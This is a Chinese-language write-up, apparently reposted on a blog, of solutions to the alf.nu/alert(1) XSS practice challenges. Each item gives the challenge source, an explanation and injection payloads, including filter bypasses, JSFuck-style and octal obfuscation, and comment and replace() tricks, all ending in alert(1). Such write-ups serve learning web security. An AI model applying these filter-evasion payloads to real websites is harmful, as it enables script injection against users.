XSS靶场(alf.nu/alert1)部分题目详解(26/29)

2019-06-14 约 1649 字 预计阅读 8 分钟

声明:本文 【XSS靶场(alf.nu/alert1)部分题目详解(26/29)】 由作者 MengChen 于 2019-06-14 09:20:00 首发 先知社区 曾经 浏览数 58 次

感谢 MengChen 的辛苦付出!

写在前面

最近深感自己前端安全知识掌握的不是很好,于是找了个XSS靶场练习下,截止到2019年6月9日,网站上共有29道题目,我当前只做出了26道,还有3道题目没有头绪,分别是Fruit 3QuineEntities 2,当然已经做出的这些题目也不一定是最优解,希望与师傅们交流学习下,如果有发现什么错误,欢迎师傅们批评指正。

我的链接

https://alf.nu/alert(1)#accesstoken=WcMW1j+qtfFu6BQVFdJM

浏览器版本:Chrome 74

1. Warmup

1.1 源码

function escape(s) {
    return '<script>console.log("' + s + '");</script>';
}

1.2 分析

代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("即可。

1.3 Payload

13个字符
");alert(1)//
12个字符
");alert(1,"

2. Adobe

2.1 源码

function escape(s) {
    s = s.replace(/"/g, '\\"');
    return '<script>console.log("' + s + '");</script>';
}

2.2 分析

代码将输入的双引号加了一个\进行了转义,这样我们就不能像第一题那样闭合console.log了,但是没啥影响,有两种方法:

  • 闭合之前的<script>标签,然后再写一个<script>
  • 使用\来转义对"进行转义的\,从而绕过对"的过滤。

2.3 Payload

方法1 27个字符
</script><script>alert(1)//
方法2 14个字符
\");alert(1)//

3. JSON

3.1 源码

function escape(s) {
    s = JSON.stringify(s);
    return '<script>console.log(' + s + ');</script>';
}

3.2 分析

代码将输入使用JSON.stringify进行了处理,与第二题的方法一思路相同。

3.3 Payload

</script><script>alert(1)//

4. Markdown

4.1 源码

function escape(s) {
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
    // URLs
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
    // [[img123|Description]]
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="/placeholder.svg" data-src="$1.gif">');
    return text;
}

4.2 分析

代码进行了三步操作

  1. 第一步,将<"转成了HTML实体
  2. 第二步,如果存在http://的字符串, 会可以生成一个a标签
  3. 第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]格式的字符串,则变为<img alt="Description" src="/placeholder.svg" data-src="img123.gif">

开头对"<进行了编码操作,所以不能直接传入"来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a标签中的",从而闭合img标签的alt属性。

4.3 Payload

[[a|http://onerror=alert(1)//]]

5. DOM

5.1 源码

function escape(s) {
    // Slightly too lazy to make two input fields.
    // Pass in something like "TextNode#foo"
    var m = s.split(/#/);

    // Only slightly contrived at this point.
    var a = document.createElement('div');
    a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
    return a.innerHTML;
}

5.2 分析

代码实现了一个根据输入来创建的DOM节点的功能。
如果输入是TextNode#foo,那么执行的代码就是document.createTextNode("foo")
根据格式查一下手册

列一下几个常用的:

  • createElement() 创建一个元素节点
  • createTextNode() 创建一个文本节点
  • createAttribute() 创建一个属性节点
  • createComment() 创建一个注释节点

经过尝试,通过createComment()创建一个注释节点,然后闭合注释可以达到代码执行的目的。

5.3 Payload

34个字符
Comment#><script>alert(1)</script>
32个字符
Comment#><iframe onload=alert(1)

6. Callback

6.1 源码

function escape(s) {
    // Pass inn "callback#userdata"
    var thing = s.split(/#/);

    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
    var obj = {
        'userdata': thing[1]
    };
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');
    return "<script>" + thing[0] + "(" + json + ")</script>";
}

6.2 分析

代码首先将输入的字符串按照#分割为两部分,第一部分是回调函数,只能使用大小写字母、[]',第二部分是JSON数据。
而且后面又将JSON数据中的尖括号转义成了\\u003c
最终的目的依旧是执行JS代码,thing[0]部分不一定是一个函数,只要满足要求就OK。
既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。

6.3 Payload

'#';alert(1)//

简单分析一下最终的执行过程,通过两个单引号闭合数据。在这里是'({"userdata":"',在alert(1)后面加个注释符将后面的无效数据注释掉,也就是//"})。剩余的代码也就成功执行了。

<script>'({"userdata":"';alert(1)//"})</script>

7. Skandia

7.1 源码

function escape(s) {
    return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

7.2 分析

很容易就能闭合标签,但是方法alert(1),被转换成大写了,无法执行,尝试编码绕过。

7.3 Payload

54个字符
</script><img src onerror=&#97&#108&#101&#114&#116(1)>

8. Template

8.1 源码

function escape(s) {
    function htmlEscape(s) {
        return s.replace(/./g, function (x) {
            return {
                '<': '&lt;',
                '>': '&gt;',
                '&': '&amp;',
                '"': '&quot;',
                "'": '&#39;'
            }[x] || x;
        });
    }

    function expandTemplate(template, args) {
        return template.replace(
            /{(\w+)}/g,
            function (_, n) {
                return htmlEscape(args[n]);
            });
    }

    return expandTemplate(
        "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ", {
            name: s
        }
    );
}

8.2 分析

代码对输入的<>&"'、进行了转义,输入的字符串会拼接在{name}处。
由于没有过滤\,可以利用JS的8进制或者16进制编码来绕过。

8.3 Payload

需要注意的是第二个Payload末尾有一个空格。

32个字符
\x3cimg src onerror=alert(1)\x3e
26个字符
\x3cstyle/onload=alert(1)

9. JSON 2

9.1 源码

function escape(s) {
    s = JSON.stringify(s).replace(/<\/script/gi, '');
    return '<script>console.log(' + s + ');</script>';
}

9.2 分析

</script>标签进行了过滤,由于正则中存在i修饰符,不区分大小写,不能使用大小写混合来绕过。

由于直接将字符串替换为空,可以双写绕过。

9.3 Payload

</</scriptscript><script>alert(1)//

10. Callback 2

10.1 源码

function escape(s) {
    // Pass inn "callback#userdata"
    var thing = s.split(/#/);

    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
    var obj = {
        'userdata': thing[1]
    };
    var json = JSON.stringify(obj).replace(/\//g, '\\/');
    return "<script>" + thing[0] + "(" + json + ")</script>";
}

10.2 分析

与第6题的类似,但是转义了/,导致//这个注释符无法使用,但是JavaScript的注释符有三种,分别是///**/<!--
可以使用<!--来注释。

10.3 Payload

'#';alert(1)<!--

11. Skandia 2

11.1 源码

function escape(s) {
    if (/[<>]/.test(s)) return '-';
    return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

11.2 分析

代码过滤了<>。还将所有输入的字母变成了大写,不能借助toUpperCase()的特性来解了。
可以利用jsfuck
直接将");alert(1)//中的alert(1)jsfuck表示。

http://www.jsfuck.com/

但是直接使用工具生成的jsfuck太长了,不过我们还有另一种方法,就是JS的匿名函数。

我们可以通过这种方法来执行任意方法。

[]['map']['constructor']('alert(1)')()

由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。

");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

11.3 Payload

方法一 1232个字符
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
方法二 100个字符
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

12. iframe

12.1 源码

function escape(s) {
    var tag = document.createElement('iframe');

    // For this one, you get to run any code you want, but in a "sandboxed" iframe.
    // https://4i.am/?...raw=... just outputs whatever you pass in.
    // Alerting from 4i.am won't count.
    s = '<script>' + s + '<\/script>';
    tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

    window.WINNING = function() {
        youWon = true;
    };

    tag.setAttribute('onload', 'youWon && alert(1)');
    return tag.outerHTML;
}

12.2 分析

代码逻辑很简单,只要使youWontrue,这样就能执行alert(1)了。
解决思路是利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。

12.3 Payload

name="youWon"

13. TI(S)M

13.1 源码

function escape(s) {
    function json(s) {
        return JSON.stringify(s).replace(/\//g, '\\/');
    }
    function html(s) {
        return s.replace(/[<>"&]/g,
        function(s) {
            return '&#' + s.charCodeAt(0) + ';';
        });
    }

    return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + '  <!-- for debugging -->\n' + '  URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + '  else new Image().src = url;\n' + '</script>');
}

13.2 分析

本题用到了一个小trick:
HTML5解析器会将<!--<script></script>之间的任何东西都当作JavaScript代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。

首先输入一个<!--<script>,此时的输出中

<!--<script>"; // We'll use this later </script>

  <!-- for debugging -->
  URL: &#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

这一段所有的代码都会当做JS执行。
在后面有个正则表达式!/^http:.*/,其中的*/可以当做注释,那么我们在前面再加入一个/*即可闭合。
此时的输出为

<script>var url = "\/*<!--<script>"; // We'll use this later </script>

  <!-- for debugging -->
  URL: /*&#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

那么,在注释符之前添加要执行的代码就可以了。

13.3 Payload

if(alert(1)/*<!--<script>

14. JSON 3

14.1 源码

function escape(s) {
    return s.split('#').map(function(v) {
        // Only 20% of slashes are end tags; save 1.2% of total
        // bytes by only escaping those.
        var json = JSON.stringify(v).replace(/<\//g, '<\\/');
        return '<script>console.log(' + json + ')</script>';
    }).join('');
}

14.2 分析

题目思路与上一个题类似,借助<!--<script>来执行JS代码,不过因为后面没有-->,解析器会报错,需要我们在后面构造一个-->来避免报错。

构造的Payload<!--<script>#)/;alert(1)//-->,此时输出为

<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

其中/script><script>console.log(")/被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)

14.3 Payload

<!--<script>#)/;alert(1)//-->

15. Skandia 3

15.1 源码

function escape(s) {
    if (/[\\<>]/.test(s)) return '-';
    return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

15.2 分析

代码过滤了\<>、同样使用jsfuck就能过。因为对\进行了过滤,不能使用八进制编码来绕过了。
根据jsfuck原理,我们借助匿名函数来构造一个更短的Payload

[]["sort"]["constructor"]('alert(1)')()

接下来的目标是将其中的字母以其他形式来表示。

  • ! 开头会转换成 Boolean 布尔值
  • + 开头会转换成 Number 数值类型
  • 添加 [] 会转换成 String 字符串
  • ![] === false+[] === 0[]+[] === ""
经过jsfuck转换后
false ![]
true !![]!+[]
NaN +[![]]+[][[]]
undefined [][[]]
Infinity +(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])

由此我们需要获得construale这些字符的特殊表示。很明显,上述表格内的字母是不够的,需要继续构造。

(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2] === "fill"
[]['fill']+[] === [][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[] ==="function fill() { [native code] }"

可得

"c" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]
"o" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]
"n" === ([][[]]+[])[1]
"s" === (![]+[])[3]
"t" === (!![]+[])[0]
"r" === (!![]+[])[1]
"u" === (!![]+[])[2]
"a" === (![]+[])[1]
"l" === (![]+[])[2]
"e" === (![]+[])[4]

可得

"sort" === (![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]
"constructor" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]
"alert" === (![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]

将其拼接入Payload,长度为525

");[][(![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]][([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]]((![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//

从网上找了一种更为简便的方法。

表达式
''+!1 false
''+!0 true
''+{}[0] undefined
''+{} [object Object]
"sort" === (''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]
"constructor" === (''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]
"alert" === (''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]

构造Payload,长度为241

");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//

15.3 Payload

方法一
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
方法二
");[][(![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]][([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]]((![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//
方法三
");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//

16. RFC4627

16.1 源码

function escape(text) {
    var i = 0;
    window.the_easy_but_expensive_way_out = function() {
        alert(i++)
    };

    // "A JSON text can be safely passed into JavaScript's eval() function
    // (which compiles and executes a string) if all the characters not
    // enclosed in strings are in the set of characters that form JSON
    // tokens."
    if (! (/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"\\])*"/g, '')))) {
        try {
            var val = eval('(' + text + ')');
            console.log('' + val);
        } catch(_) {
            console.log('Crashed: ' + _);
        }
    } else {
        console.log('Rejected.');
    }
}

16.2 分析

从代码来看,我们如果想要执行alert(1),需要调用两次the_easy_but_expensive_way_out方法。
从正则来看,代码并没有限制我们使用self,因此我们可以借助self来调用全局方法the_easy_but_expensive_way_out

在这里使用了一个小trick

  • JS中让一个对象和一个值或者一个字符进行相加等运算,JS解析器会调用对象的valueOf方法来计算对象的值。

因此我们可以传入一个对象,它的valueOf指向的是self['the_easy_but_expensive_way_out']方法,然后让这个对象与一个数字或者字符做运算,就能调用self['the_easy_but_expensive_way_out']了,但是需要alert(1),所以需要我们调用两次。

参考链接

https://blog.mindedsecurity.com/2011/08/ye-olde-crockford-json-regexp-is.html

16.3 Payload

{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}

第一次调用是在eval中,通过{"valueOf":self["the_easy_but_expensive_way_out"]}+0调用,第二次是在console.log('' + val);中,对象与字符进行了相加操作,从而调用了self['the_easy_but_expensive_way_out']方法。

17. Well

17.1 源码

function escape(s) {
    http: //www.avlidienbrunn.se/xsschallenge/
    s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
    return "<script> var email = '" + s + "'; <\/script>";
}

17.2 分析

代码过滤了\r\n\u2028\u2029\;,()[]<
单引号没被过滤,可以闭合前面的语句,通过定义函数来执行代码。

Payload中,我们借助了new Function语法

17.3 Payload

'+new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'

18. No

18.1 源码

function escape(s) {
    s = s.replace(/[()`<]/g, ''); // no function calls
    return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>';
}

18.2 分析

代码过滤了(\<、但是没有过滤双引号,可以通过双引号来闭合前面的语句。
然后借助异常处理来执行代码。

";onerror=eval;throw'=alert\x281\x29'//

参考链接
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/

18.3 Payload

";onerror=eval;throw'=alert\x281\x29'//

19. K'Z'K 1

19.1 源码

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '<script>console.log("' + s + '");</script>';
}

19.2 分析

正则过滤了aeiouy这些字符。可以借助匿名函数和编码来绕过。
首先构造匿名函数

[]["pop"]["constructor"]('alert(1)')()

将其中的被过滤的字符进行16进制编码。

a ==> \x61
e ==> \x65
i ==> \x69
o ==> \x6f
u ==> \x75
y ==> \x79

此时Payload为

[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()

再将前后的语句闭合即可。

");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//

19.3 Payload

");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//

20. K'Z'K 2

20.1 源码

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

20.2 分析

正则看起来很复杂,不过是将编码的字符串替换为空了,双写一下就能绕过。

20.3 Payload

");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//

21. K'Z'K 3

21.1 源码

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>\\]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

21.2 分析

比第一题多了一个过滤,不仅过滤了aeiouy,还过滤了{}!=<>\。这下不能用编码来绕过了。
类似于第15题。

[]["map"]["constructor"]('alert(1)')()

在Payload中,不符合条件的字符aeou。借助js的一些特性可以获取到。

[][[]]+[] === "undefined"
([][[]]+[])[0] === "u"
([][[]]+[])[3] === "e"

1+[][0]+[] === "NaN"
(1+[][0]+[])[1] === "a"
[]["m"+(1+[][0]+[])[1]+"p"]+[] === "function map() { [native code] }"
([]["m"+(1+[][0]+[])[1]+"p"]+[])[26] === "o"

这样所有的字符就都获取到了,修改一下Payload

[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()

再闭合一下就OK了

21.3 Payload

");[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()//

22. Fruit

22.1 源码

// CVE-2016-4618
function escape(s) {
    var div = document.implementation.createHTMLDocument().createElement('div');
    div.innerHTML = s;
    function f(n) {
        if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
        for (var i = 0; i < n.attributes.length; i++) {
            var name = n.attributes[i].name;
            if (name !== 'class') {
                n.removeAttribute(name);
            }
        }
    } [].map.call(div.querySelectorAll('*'), f);
    return div.innerHTML;
}

22.2 分析

题目直接给了提示CVE-2016-4618,但发现没啥用。
在这里,代码主要的问题出现在逻辑上,在for循环中,代码通过n.attributes.length来判断边界条件,但是n.attributes.length是动态变化的,如果存在多个属性,则最后一个属性是无法删除的,只要我们构造多个属性即可。

22.3 Payload

<iframe t onload=alert(1)>

23. Fruit 2

23.1 源码

// CVE-2016-7650
function escape(s) {
    var div = document.implementation.createHTMLDocument().createElement('div');
    div.innerHTML = s;
    function f(n) {
        if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
        for (var i = 0; i < n.attributes.length; i++) {
            var name = n.attributes[i].name;
            if (name !== 'class') {
                n.removeAttribute(name);
            }
        }
    } [].map.call(div.querySelectorAll('*'), f);
    return div.innerHTML;
}

23.2 分析

提示依旧没啥用,而且代码较上一题区别不大,使用同一个Payload即可。

23.3 Payload

<iframe t onload=alert(1)>

24. Capitals

24.1 源码

// submitted by msamuel
function escape(s) {
    var capitals = {
        "CA": {
            "AB": "Edmonton",
            "BC": "Victoria",
            "MB": "Winnipeg",
            // etc.
        },
        "US": {
            // Alabama changed its state capital.
            "AL": ((year) = >year < 1846 ? "Tuscaloosa": "Montgomery"),
            "AK": "Juneau",
            "AR": "Phoenix",
            // etc.
        },
    };

    function capitalOf(country, stateOrProvinceName, year) {
        var capital = capitals[country][stateOrProvinceName];
        if (typeof capital === 'function') {
            capital = capital(year);
        }
        return capital
    }

    var inputs = (s || "").split(/#/g);
    return '<b>' + capitalOf(inputs[0], inputs[1], inputs[2]) + '</b>';
}

24.2 分析

代码的逻辑很简单,我们要想执行alert(1),需要满足if (typeof capital === 'function'),而var capital = capitals[country][stateOrProvinceName];,这里想到了我们前面做题用到的匿名函数。

然后我们再用</b>闭合b标签,添加<script>标签来执行alert(1)

24.3 Payload

CA#constructor#</b><script>alert(1)</script>

25. Entities

25.1 源码

// submitted by securityMB
function escape(s) {
    function htmlentities(s) {
        return s.replace(/[&<>"']/g, c = >` & #$ {
            c.charCodeAt(0)
        };`)
    }
    s = htmlentities(s);
    return` < script >
    var obj = {};
    obj["${s}"] = "${s}"; < /script>`;
}

25.2 分析

代码对&<>"'进行了转义,后面返回值部分存在两个拼接点。借助转义符\和注释符来进行绕过,拼接代码执行。

25.3 Payload

];alert(1)//\

26. %level%

26.1 源码

// submitted anonymously
function escape(s) {
    const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
    const userTemplate = '<script>let some = %userData%</script>';
    return userTemplate.replace(/%userData%/, userInput);
}

26.2 分析

代码对输入的字符串使用JSON.stringify进行了处理,然后对<>进行了编码。
replace中,userInput是可控的,在这里用到了关于String​.prototype​.replace()的一个小trick

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

我们可以通过$'来引入匹配的子串右边的内容</script>来闭合开头的<script>,然后使用$\来引入匹配的子串左边的内容<script>let some =,这样就没有双引号来干扰了,直接使用调用alert(1),然后注释掉后面的代码即可。

26.3 Payload

$'$`alert(1)//

参考链接

  1. https://cxliker.github.io/2018/01/29/XSS%E7%BB%83%E4%B9%A0-alf-nu-alert1-Write-ups/
  2. https://github.com/masazumi-github/alert-1-to-win#a028
  3. http://juniorprincewang.github.io/2018/10/14/alf-nu-alert1%E6%80%BB%E7%BB%93/

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now